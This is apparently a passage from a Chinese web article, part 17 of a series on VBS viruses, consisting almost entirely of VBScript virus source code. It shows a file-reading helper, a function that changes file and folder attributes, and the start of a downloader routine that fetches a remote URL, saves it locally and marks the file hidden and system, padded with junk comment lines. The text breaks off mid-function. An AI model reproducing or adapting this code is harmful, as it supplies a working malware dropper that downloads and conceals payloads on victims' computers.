中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(17)

if fso.fileexists(where) then

set readfile = fso.opentextfile(where, 1)

i=0

do while i<line

i=i+1

strline = readfile.readline

loop

readfile.close

readtxt=strline

else

readtxt="not_found"

end if

end function

第七段：

function shuxing(file,change)

if fso.fileexists(file) then

set ofile = fso.getfile(file)

ofile.attributes = change

set ofile = nothing

end if

if fso.folderexists(file) then

set ofile = fso.getfolder(file)

ofile.attributes = change

set ofile = nothing

end if

end function

第八段:

function advdownfile(localfile,urlfile,runfile,cishu,minsize)

test=0

do while test<cishu

shuxing localfile,0

ilocal = lcase(localfile):iremote = lcase(urlfile):

'if 1=2 then wscript.echo "impossible!"

set xpost = createobject("microsoft.xmlhttp")

'if 1=2 then wscript.echo "impossible!"

xpost.open "get",iremote,0

'if 1=2 then wscript.echo "impossible!"

on error resume next

xpost.send()

if not er then

'if 1=2 then wscript.echo "impossible!"

set sget = createobject("adodb.stream")

'if 1=2 then wscript.echo "impossible!"

sget.mode = 3

'if 1=2 then wscript.echo "impossible!"

sget.type = 1

'if 1=2 then wscript.echo "impossible!"

sget.open()

'if 1=2 then wscript.echo "impossible!"

sget.write(xpost.responsebody)

'if 1=2 then wscript.echo "impossible!"

sget.savetofile ilocal,2

'if 1=2 then wscript.echo "impossible!"

shuxing localfile,2+4

if fso.fileexists(localfile) then

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-17.html